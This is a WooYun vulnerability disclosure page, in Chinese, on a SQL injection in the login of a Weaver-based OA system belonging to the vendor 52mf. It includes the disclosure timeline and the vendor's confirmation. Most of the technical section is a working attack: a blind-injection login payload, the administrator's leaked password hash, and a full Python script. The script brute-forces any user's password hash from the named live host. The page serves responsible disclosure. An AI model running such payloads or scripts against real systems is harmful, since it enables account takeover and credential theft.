当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0134990

漏洞标题：魔方某系统存在SQL注入，可任意登录（附验证脚本）

相关厂商：52mf.com.cn

漏洞作者： 浮萍

提交时间：2015-08-18 14:10

修复时间：2015-10-02 15:06

公开时间：2015-10-02 15:06

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：12

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-18： 细节已通知厂商并且等待厂商处理中
2015-08-18： 厂商已经确认，细节仅向厂商公开
2015-08-28： 细节向核心白帽子及相关领域专家公开
2015-09-07： 细节向普通白帽子公开
2015-09-17： 细节向实习白帽子公开
2015-10-02： 细节向公众公开

简要描述：

SQL注入

详细说明：

泛微系统
http://oa.52mf.cn:89/login.do

Snap28.jpg


当用户名存在密码错误
提示登录密码不正确

Snap29.jpg


用户名不存在时
提示用户未找到

Snap31.jpg


sysadmin'and length(password)=32 and '1'='1


Snap32.jpg


Snap33.jpg


sysadmin密码为025C29C5953E75EB9733706A562427E2

漏洞证明：

脚本如下

import urllib
import urllib2
dic = '0123456789ABCDEF'
pwd = ''
for i in range(32):
	for j in dic:
		username = "sysadmin' and(substr(password,"+str(i+1)+",1)='"+j+"') and 'a'='a"
		#username = "sysadmin' and 'a'='a"
		values = {'loginid':username,'password':'z',
'authcode':'',
'dynapass':'',
'tokenpass':'','clienttype':'Webclient','clientver':4.5,'language':'','country':'','verify':'','needdyna':''}
		#print values
		data = urllib.urlencode(values)
		req = urllib2.Request("http://oa.52mf.cn:89/verifyLogin.do",data)
		response = urllib2.urlopen(req)
		html = response.read()
		#print html
		fd = html.count('102')
		#print '-->'+str(fd)
		
		if fd>0 :
			pwd = pwd +j
			print pwd
			break


获取其他人员密码 只需更改username = "sysadmin' and(substr(password,"+str(i+1)+",1)='"+j+"') and 'a'='a"中的sysadmin即可

修复方案：

版权声明：转载请注明来源 浮萍@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2015-08-18 15:05

厂商回复：

谢谢提醒，我们会处理这个漏洞的

最新状态：

暂无